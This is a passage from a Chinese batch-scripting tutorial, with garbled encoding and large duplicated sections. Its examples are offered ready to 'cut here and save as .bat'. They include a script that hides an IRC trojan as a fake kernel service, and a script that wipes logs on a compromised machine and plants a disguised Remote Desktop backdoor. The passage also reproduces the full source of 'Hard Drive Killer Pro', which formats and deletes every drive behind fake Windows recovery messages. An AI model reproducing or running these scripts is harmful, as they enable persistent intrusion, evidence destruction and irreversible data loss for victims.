  這樣就在[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下 
  新建了:Invader、door、about這三個(gè)項(xiàng)目 
  Invader的類型是“String Value” 
  door的類型是“REG SZ Value” 
  Autodos的類型是“DWORD Value” 
2.修改 
  修改相對(duì)來說比較簡(jiǎn)單,只要把你需要修改的項(xiàng)目導(dǎo)出,然后用記事本進(jìn)行修改,然后導(dǎo)入(regedit /s)即可。 
  3.刪除 
  我們首先來說說刪除一個(gè)項(xiàng)目名稱,我們創(chuàng)建一個(gè)如下的文件: 
  Windows Registry Editor Version 5.00 
  [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] 
  "Ex4rch"=- 
  執(zhí)行該腳本,[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下的"Ex4rch"就被刪除了; 
  我們?cè)倏纯磩h除一個(gè)子項(xiàng),我們創(chuàng)建一個(gè)如下的腳本: 
  Windows Registry Editor Version 5.00 
  [-HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] 
  執(zhí)行該腳本,[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]就已經(jīng)被刪除了。 
  相信看到這里,.reg文件你基本已經(jīng)掌握了。那么現(xiàn)在的目標(biāo)就是用批處理來創(chuàng)建特定內(nèi)容的.reg文件了,記得我們前面說道的利用重定向符號(hào)可以很容易地創(chuàng)建特定類型的文件。 
samlpe1:如上面的那個(gè)例子,如想生成如下注冊(cè)表文件 
  Windows Registry Editor Version 5.00 
  [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] 
  "Invader"="Ex4rch" 
  "door"=hex:255 
  "Autodos"=dword:000000128 
  只需要這樣: 
  @echo Windows Registry Editor Version 5.00>>Sample.reg 
  @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>Sample.reg 
  @echo "Invader"="Ex4rch">>Sample.reg 
  @echo "door"=5>>C://WINNT//system32//door.exe>>Sample.reg 
  @echo "Autodos"=dword:02>>Sample.reg 
  samlpe2: 
  我們現(xiàn)在在使用一些比較老的木馬時(shí),可能會(huì)在注冊(cè)表的[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run(Runonce、Runservices、Runexec)]下生成一個(gè)鍵值用來實(shí)現(xiàn)木馬的自啟動(dòng).但是這樣很容易暴露木馬程序的路徑,從而導(dǎo)致木馬被查殺,相對(duì)地若是將木馬程序注冊(cè)為系統(tǒng)服務(wù)則相對(duì)安全一些.下面以配置好地IRC木馬DSNX為例(名為windrv32.exe) 
  @start windrv32.exe 
  @attrib +h +r windrv32.exe 
  @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] >>patch.dll 
  @echo "windsnx "=- >>patch.dll 
  @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:/winnt/system32/windrv32.exe 
  @regedit /s patch.dll 
  @delete patch.dll 
  @REM [刪除DSNXDE在注冊(cè)表中的啟動(dòng)項(xiàng),用sc.exe將之注冊(cè)為系統(tǒng)關(guān)鍵性服務(wù)的同時(shí)將其屬性設(shè)為隱藏和只讀,并config為自啟動(dòng)] 
  @REM 這樣不是更安全^_^. 
六.精彩實(shí)例放送。 
  1.刪除win2k/xp系統(tǒng)默認(rèn)共享的批處理 
  ------------------------ cut here then save as .bat or .cmd file --------------------------- 
  @echo preparing to delete all the default shares.when ready pres any key. 
  @pause 
  @echo off 
  :Rem check parameters if null show usage. 
  if {%1}=={} goto :Usage 
  :Rem code start. 
  echo. 
  echo ------------------------------------------------------ 
  echo. 
  echo Now deleting all the default shares. 
  echo. 
  net share %1$ /delete 
  net share %2$ /delete 
  net share %3$ /delete 
  net share %4$ /delete 
  net share %5$ /delete 
  net share %6$ /delete 
  net share %7$ /delete 
  net share %8$ /delete 
  net share %9$ /delete 
  net stop Server 
  net start Server 
  echo. 
  echo All the shares have been deleteed 
  echo. 
  echo ------------------------------------------------------ 
  echo. 
  echo Now modify the registry to change the system default properties. 
  echo. 
  echo Now creating the registry file 
  echo Windows Registry Editor Version 5.00> c:/delshare.reg 
  echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg 
  echo "AutoShareWks"=dword:00000000>> c:/delshare.reg 
  echo "AutoShareServer"=dword:00000000>> c:/delshare.reg 
  echo Nowing using the registry file to chang the system default properties. 
  regedit /s c:/delshare.reg 
  echo Deleting the temprotarily files. 
  del c:/delshare.reg 
  goto :END 
:Usage 
  echo. 
  echo ------------------------------------------------------ 
  echo. 
  echo ☆ A example for batch file ☆ 
  echo ☆ [Use batch file to change the sysytem share properties.] ☆ 
  echo. 
  echo Author:Ex4rch 
  echo Mail:Ex4rch@hotmail.com QQ:1672602 
  echo. 
  echo Error:Not enough parameters 
  echo. 
  echo ☆ Please enter the share disk you wanna delete ☆ 
  echo. 
  echo For instance,to delete the default shares: 
  echo delshare c d e ipc admin print 
  echo. 
  echo If the disklable is not as C: D: E: ,Please chang it youself. 
  echo. 
  echo example: 
  echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into : 
  echo delshare c d e x y z ipc admin print 
  echo. 
  echo *** you can delete nine shares once in a useing *** 
  echo. 
  echo ------------------------------------------------------ 
  goto :EOF 
  :END 
  echo. 
  echo ------------------------------------------------------ 
  echo. 
  echo OK,delshare.bat has deleted all the share you assigned. 
  echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. 
  echo 
  echo. 
  echo ------------------------------------------------------ 
  echo. 
  :EOF 
  echo end of the batch file 
  ------------------------ cut here then save as .bat or .cmd file --------------------------- 
  ------------------------ cut here then save as .bat or .cmd file --------------------------- 
  下面命令是清除肉雞所有日志,禁止一些危險(xiǎn)的服務(wù),并修改肉雞的terminnal service留跳后路。 
  @regedit /s patch.dll 
  @net stop w3svc 
  @net stop event log 
  @del c:/winnt/system32/logfiles/w3svc1/*.* /f /q 
  @del c:/winnt/system32/logfiles/w3svc2/*.* /f /q 
  @del c:/winnt/system32/config/*.event /f /q 
  @del c:/winnt/system32dtclog/*.* /f /q 
  @del c:/winnt/*.txt /f /q 
  @del c:/winnt/*.log /f /q 
  @net start w3svc 
  @net start event log 
  @rem [刪除日志] 
  @net stop lanmanserver /y 
  @net stop Schedule /y 
  @net stop RemoteRegistry /y 
  @del patch.dll 
  @echo The server has been patched,Have fun. 
  @del patch.bat 
  @REM [禁止一些危險(xiǎn)的服務(wù)。] 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>patch.dll 
  @echo "PortNumber"=dword:00002010 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp >>patch.dll 
  @echo "PortNumber"=dword:00002012 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll 
  @echo "Start"=dword:00000002 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll 
  @echo "Start"=dword:00000002 >>patch.dll 
  @echo "ErrorControl"=dword:00000001 >>patch.dll 
  @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,/ >>patch.dll 
  @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,/ >>patch.dll 
  @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll 
  @echo "ObjectName"="LocalSystem" >>patch.dll 
  @echo "Type"=dword:00000010 >>patch.dll 
  @echo "Description"="Keep record of the program and windows message。" >>patch.dll 
  @echo "DisplayName"="Microsoft EventLog" >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll 
  @echo "Start"=dword:00000004 >>patch.dll 
  @copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe 
  @REM [修改3389連接,端口為8210(十六進(jìn)制為00002012),名稱為Microsoft EventLog,留條后路] 
3.Hard Drive Killer Pro Version 4.0(玩批處理到這個(gè)水平真的不容易了。) 
  ------------------------ cut here then save as .bat or .cmd file --------------------------- 
  @echo off 
  rem This program is dedecated to a very special person that does not want to be named. 
  :start 
  cls 
  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
  call attrib -r -h c:/autoexec.bat >nul 
  echo @echo off >c:/autoexec.bat 
  echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat 
  call attrib +r +h c:/autoexec.bat >nul 
  rem Drive checking and assigning the valid drives to the drive variable. 
  set drive= 
  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z 
  rem code insertion for Drive Checking takes place here. 
  rem drivechk.bat is the file name under the root directory. 
  rem As far as the drive detection and drive variable settings, dont worry about how it 
  rem works, its d/*amn to complicated for the average or even the expert batch programmer. 
  rem Except for Tom Lavedas. 
  echo @echo off >drivechk.bat 
  echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat 
  %comspec% /e:2048 /c {t}.bat >>drivechk.bat 
  del {t}.bat 
  echo if errorlevel 1 goto enddc >>drivechk.bat 
  cls 
  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
  rem When errorlevel is 1, then the above is not true, if 0, then its true. 
  rem Opposite of binary rules. If 0, it will elaps to the next command. 
  echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat 
  %comspec% /e:2048 /c {t}.bat >>drivechk.bat 
  del {t}.bat 
  echo if errorlevel 1 goto enddc >>drivechk.bat 
  cls 
  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
  rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. 
  rem if errorlevel is 0, then it will elaps to the next command. 
  echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat 
  %comspec% /e:2048 /c {t}.bat >>drivechk.bat 
  del {t}.bat 
  echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat 
  cls 
  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
  rem if its errorlevel 1, then the specified drive is a hard or floppy drive. 
  rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. 
echo :enddc >>drivechk.bat 
  rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". 
  rem Now we will use the program drivechk.bat to attain valid drive information. 
  :Sampledrv 
  for %%a in (%alldrive%) do call drivechk.bat %%a >nul 
  del drivechk.bat >nul 
  if %drive.==. set drive=c 
  :form_del 
  call attrib -r -h c:/autoexec.bat >nul 
  echo @echo off >c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat 
  echo cd/ >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat 
  echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat 
  echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat 
  echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat 
  echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat 
  echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat 
  echo echo. >>c:/autoexec.bat 
  echo echo Regards, >>c:/autoexec.bat 
  echo echo. >>c:/autoexec.bat 
  echo echo Munga Bunga >>c:/autoexec.bat 
  call attrib +r +h c:/autoexec.bat 
  :makedir 
  if exist c:/temp.bat attrib -r -h c:/temp.bat >nul 
  echo @echo off >c:/temp.bat 
  echo %%1:/ >>c:/temp.bat 
  echo cd/ >>c:/temp.bat 
  echo :startmd >>c:/temp.bat 
  echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat 
  echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:/temp.bat 
  echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat 
  call attrib +r +h c:/temp.bat >nul 
  cls 
  echo Initializing Variables . . . 
  rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction. 
  for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul 
  cls 
  echo Initializing Variables . . . 
  echo Validating Data . . . 
  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul 
  cls 
  echo Initializing Variables . . . 
  echo Validating Data . . . 
  echo Analyzing System Structure . . . 
  for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul 
  call attrib +r +h c:/temp.bat >nul 
  call attrib +r +h c:/autoexec.bat >nul 
  cls 
  echo Initializing Variables . . . 
  echo Validating Data . . . 
  echo Analyzing System Structure . . . 
  echo Initializing Application . . . 
  for %%a in (%drive%) call deltree /y %%a:/*. >nul 
  cls 
  echo Initializing Variables . . . 
  echo Validating Data . . . 
  echo Analyzing System Structure . . . 
  echo Initializing Application . . . 
  echo Starting Application . . . 
  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul 
  cls 
  echo Thank you for using a Munga Bunga product. 
  echo. 
  echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. 
  echo. 
  echo Here is a joke for you . . . 
  echo. 
  echo Q). Whats the worst thing about being an egg? 
  echo A). You only get laid once. 
  echo. 
  echo HAHAHAHA, get it? Dont you just love that one? 
  echo. 
  echo Regards, 
  echo. 
  echo Munga Bunga 
  :end 
  rem Hard Drive Killer Pro Version 4.0, enjoy!!!! 
  rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here). 
六.精彩實(shí)例放送。 
  1.刪除win2k/xp系統(tǒng)默認(rèn)共享的批處理 
  ------------------------ cut here then save as .bat or .cmd file --------------------------- 
  @echo preparing to delete all the default shares.when ready pres any key. 
  @pause 
  @echo off 
  :Rem check parameters if null show usage. 
  if {%1}=={} goto :Usage 
  :Rem code start. 
  echo. 
  echo ------------------------------------------------------ 
  echo. 
  echo Now deleting all the default shares. 
  echo. 
  net share %1$ /delete 
  net share %2$ /delete 
  net share %3$ /delete 
  net share %4$ /delete 
  net share %5$ /delete 
  net share %6$ /delete 
  net share %7$ /delete 
  net share %8$ /delete 
  net share %9$ /delete 
  net stop Server 
  net start Server 
  echo. 
  echo All the shares have been deleteed 
  echo. 
  echo ------------------------------------------------------ 
  echo. 
  echo Now modify the registry to change the system default properties. 
  echo. 
  echo Now creating the registry file 
  echo Windows Registry Editor Version 5.00> c:/delshare.reg 
  echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg 
  echo "AutoShareWks"=dword:00000000>> c:/delshare.reg 
  echo "AutoShareServer"=dword:00000000>> c:/delshare.reg 
  echo Nowing using the registry file to chang the system default properties. 
  regedit /s c:/delshare.reg 
  echo Deleting the temprotarily files. 
  del c:/delshare.reg 
  goto :END 
  :Usage 
  echo. 
  echo ------------------------------------------------------ 
  echo. 
  echo ☆ A example for batch file ☆ 
  echo ☆ [Use batch file to change the sysytem share properties.] ☆ 
  echo. 
  echo Author:Ex4rch 
  echo Mail:Ex4rch@hotmail.com QQ:1672602 
  echo. 
  echo Error:Not enough parameters 
  echo. 
  echo ☆ Please enter the share disk you wanna delete ☆ 
  echo. 
  echo For instance,to delete the default shares: 
  echo delshare c d e ipc admin print 
  echo. 
  echo If the disklable is not as C: D: E: ,Please chang it youself. 
  echo. 
  echo example: 
  echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into : 
  echo delshare c d e x y z ipc admin print 
  echo. 
  echo *** you can delete nine shares once in a useing *** 
  echo. 
  echo ------------------------------------------------------ 
  goto :EOF 
  :END 
  echo. 
  echo ------------------------------------------------------ 
  echo. 
  echo OK,delshare.bat has deleted all the share you assigned. 
  echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. 
  echo 
  echo. 
  echo ------------------------------------------------------ 
  echo. 
  :EOF 
  echo end of the batch file 
  ------------------------ cut here then save as .bat or .cmd file --------------------------- 
2.全面加固系統(tǒng)(給肉雞打補(bǔ)丁)的批處理文件 
  ------------------------ cut here then save as .bat or .cmd file --------------------------- 
  @echo Windows Registry Editor Version 5.00 >patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] >>patch.dll 
  @echo "AutoShareServer"=dword:00000000 >>patch.dll 
  @echo "AutoShareWks"=dword:00000000 >>patch.dll 
  @REM [禁止共享] 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>patch.dll 
  @echo "restrictanonymous"=dword:00000001 >>patch.dll 
  @REM [禁止匿名登錄] 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters] >>patch.dll 
  @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll 
  @REM [禁止及文件訪問和打印共享] 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/@REMoteRegistry] >>patch.dll 
  @echo "Start"=dword:00000004 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Schedule] >>patch.dll 
  @echo "Start"=dword:00000004 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>patch.dll 
  @echo "ShutdownWithoutLogon"="0" >>patch.dll 
  @REM [禁止登錄前關(guān)機(jī)] 
  @echo "DontDisplayLastUserName"="1" >>patch.dll 
  @REM [禁止顯示前一個(gè)登錄用戶名稱] 
  @regedit /s patch.dll 
------------------------ cut here then save as .bat or .cmd file --------------------------- 
  下面命令是清除肉雞所有日志,禁止一些危險(xiǎn)的服務(wù),并修改肉雞的terminnal service留跳后路。 
  @regedit /s patch.dll 
  @net stop w3svc 
  @net stop event log 
  @del c:/winnt/system32/logfiles/w3svc1/*.* /f /q 
  @del c:/winnt/system32/logfiles/w3svc2/*.* /f /q 
  @del c:/winnt/system32/config/*.event /f /q 
  @del c:/winnt/system32dtclog/*.* /f /q 
  @del c:/winnt/*.txt /f /q 
  @del c:/winnt/*.log /f /q 
  @net start w3svc 
  @net start event log 
  @rem [刪除日志] 
  @net stop lanmanserver /y 
  @net stop Schedule /y 
  @net stop RemoteRegistry /y 
  @del patch.dll 
  @echo The server has been patched,Have fun. 
  @del patch.bat 
  @REM [禁止一些危險(xiǎn)的服務(wù)。] 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>patch.dll 
  @echo "PortNumber"=dword:00002010 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp >>patch.dll 
  @echo "PortNumber"=dword:00002012 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll 
  @echo "Start"=dword:00000002 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll 
  @echo "Start"=dword:00000002 >>patch.dll 
  @echo "ErrorControl"=dword:00000001 >>patch.dll 
  @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,/ >>patch.dll 
  @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,/ >>patch.dll 
  @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll 
  @echo "ObjectName"="LocalSystem" >>patch.dll 
  @echo "Type"=dword:00000010 >>patch.dll 
  @echo "Description"="Keep record of the program and windows message。" >>patch.dll 
  @echo "DisplayName"="Microsoft EventLog" >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll 
  @echo "Start"=dword:00000004 >>patch.dll 
  @copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe 
  @REM [修改3389連接,端口為8210(十六進(jìn)制為00002012),名稱為Microsoft EventLog,留條后路] 
3.Hard Drive Killer Pro Version 4.0(玩批處理到這個(gè)水平真的不容易了。) 
  ------------------------ cut here then save as .bat or .cmd file --------------------------- 
  @echo off 
  rem This program is dedecated to a very special person that does not want to be named. 
  :start 
  cls 
  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
  call attrib -r -h c:/autoexec.bat >nul 
  echo @echo off >c:/autoexec.bat 
  echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat 
  call attrib +r +h c:/autoexec.bat >nul 
  rem Drive checking and assigning the valid drives to the drive variable. 
  set drive= 
  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z 
  rem code insertion for Drive Checking takes place here. 
  rem drivechk.bat is the file name under the root directory. 
  rem As far as the drive detection and drive variable settings, dont worry about how it 
  rem works, its d/*amn to complicated for the average or even the expert batch programmer. 
  rem Except for Tom Lavedas. 
  echo @echo off >drivechk.bat 
  echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat 
  %comspec% /e:2048 /c {t}.bat >>drivechk.bat 
  del {t}.bat 
  echo if errorlevel 1 goto enddc >>drivechk.bat 
  cls 
  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
  rem When errorlevel is 1, then the above is not true, if 0, then its true. 
  rem Opposite of binary rules. If 0, it will elaps to the next command. 
  echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat 
  %comspec% /e:2048 /c {t}.bat >>drivechk.bat 
  del {t}.bat 
  echo if errorlevel 1 goto enddc >>drivechk.bat 
  cls 
  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
  rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. 
  rem if errorlevel is 0, then it will elaps to the next command. 
  echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat 
  %comspec% /e:2048 /c {t}.bat >>drivechk.bat 
  del {t}.bat 
  echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat 
  cls 
  echo PLEASE WAIT WHILE PROGRAM LOADS . . . 
  rem if its errorlevel 1, then the specified drive is a hard or floppy drive. 
  rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. 
  echo :enddc >>drivechk.bat 
  rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". 
  rem Now we will use the program drivechk.bat to attain valid drive information. 
  :Sampledrv 
  for %%a in (%alldrive%) do call drivechk.bat %%a >nul 
  del drivechk.bat >nul 
  if %drive.==. set drive=c 
  :form_del 
  call attrib -r -h c:/autoexec.bat >nul 
  echo @echo off >c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat 
  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat 
  echo cd/ >>c:/autoexec.bat 
  echo cls >>c:/autoexec.bat 
  echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat 
  echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat 
  echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat 
  echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat 
  echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat 
  echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat 
  echo echo. >>c:/autoexec.bat 
  echo echo Regards, >>c:/autoexec.bat 
  echo echo. >>c:/autoexec.bat 
  echo echo Munga Bunga >>c:/autoexec.bat 
  call attrib +r +h c:/autoexec.bat 
  :makedir 
  if exist c:/temp.bat attrib -r -h c:/temp.bat >nul 
  echo @echo off >c:/temp.bat 
  echo %%1:/ >>c:/temp.bat 
  echo cd/ >>c:/temp.bat 
  echo :startmd >>c:/temp.bat 
  echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat 
  echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:/temp.bat 
  echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat 
  call attrib +r +h c:/temp.bat >nul 
  cls 
  echo Initializing Variables . . . 
  rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction. 
  for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul 
  cls 
  echo Initializing Variables . . . 
  echo Validating Data . . . 
  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul 
  cls 
  echo Initializing Variables . . . 
  echo Validating Data . . . 
  echo Analyzing System Structure . . . 
  for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul 
  call attrib +r +h c:/temp.bat >nul 
  call attrib +r +h c:/autoexec.bat >nul 
  cls 
  echo Initializing Variables . . . 
  echo Validating Data . . . 
  echo Analyzing System Structure . . . 
  echo Initializing Application . . . 
  for %%a in (%drive%) call deltree /y %%a:/*. >nul 
  cls 
  echo Initializing Variables . . . 
  echo Validating Data . . . 
  echo Analyzing System Structure . . . 
  echo Initializing Application . . . 
  echo Starting Application . . . 
  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul 
  cls 
  echo Thank you for using a Munga Bunga product. 
  echo. 
  echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. 
  echo. 
  echo Here is a joke for you . . . 
  echo. 
  echo Q). Whats the worst thing about being an egg? 
  echo A). You only get laid once. 
  echo. 
  echo HAHAHAHA, get it? Dont you just love that one? 
  echo. 
  echo Regards, 
  echo. 
  echo Munga Bunga 
  :end 
  rem Hard Drive Killer Pro Version 4.0, enjoy!!!! 
  rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here). 
  No.7 
  七、致謝&一些廢話 
  謹(jǐn)以此文獻(xiàn)給所有為實(shí)現(xiàn)網(wǎng)絡(luò)的自由與共享而努力的朋友們。感謝所有共享他們作品的朋友們,讓我們?yōu)槲覀兊睦硐胍黄鹋Γ。?nbsp;
